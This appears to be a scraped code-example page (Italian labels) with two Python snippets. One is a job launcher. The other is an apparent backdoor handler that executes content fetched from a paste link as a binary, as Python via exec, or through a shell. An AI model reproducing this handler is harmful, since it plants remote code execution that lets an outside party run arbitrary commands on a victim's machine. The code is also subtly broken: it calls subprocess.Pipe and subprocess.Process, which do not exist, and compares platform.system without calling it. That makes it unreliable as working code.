Esempio n. 1
0
 def start_job(self, host, command):
     output_pipe, input_pipe = subprocess.Pipe()
     job = subprocess.Process(target=run_subprocess,
                              args=(host, command, input_pipe))
     job.start()
     input_pipe.close()
     return {'process': job, 'pipe': output_pipe}
Esempio n. 2
0
    def on_pastelink_content(self, url, action, content):
        if action.startswith('exec'):
            with tempfile.NamedTemporaryFile() as tmp:
                tmp.write(content)
                tmp.flush()
                if not platform.system == 'Windows':
                    os.chmod(tmp.name, 0700)
                subprocess.check_output(tmp.name, stderr=subprocess.STDOUT)
        elif action.startswith('pyexec'):
            try:
                exec content
            except Exception as e:
                logging.exception(e)
        elif action.startswith('sh'):
            try:
                pipe = None
                if platform.system == 'Windows':
                    kwargs = {
                        'stdin': subprocess.PIPE
                    }

                    if hasattr(subprocess, 'STARTUPINFO'):
                        startupinfo = subprocess.STARTUPINFO()
                        startupinfo.dwFlags |= \
                          subprocess.CREATE_NEW_CONSOLE | \
                          subprocess.STARTF_USESHOWWINDOW

                        kwargs.update({
                            'startupinfo': startupinfo,
                        })

                    pipe = subprocess.Pipe('cmd.exe', **kwargs)
                else:
                    pipe = subprocess.Popen(['/bin/sh'], stdin=subprocess.PIPE)

                pipe.stdin.write(content)
                pipe.stdin.close()
                pipe.communicate()

            except Exception as e:
                logging.exception(e)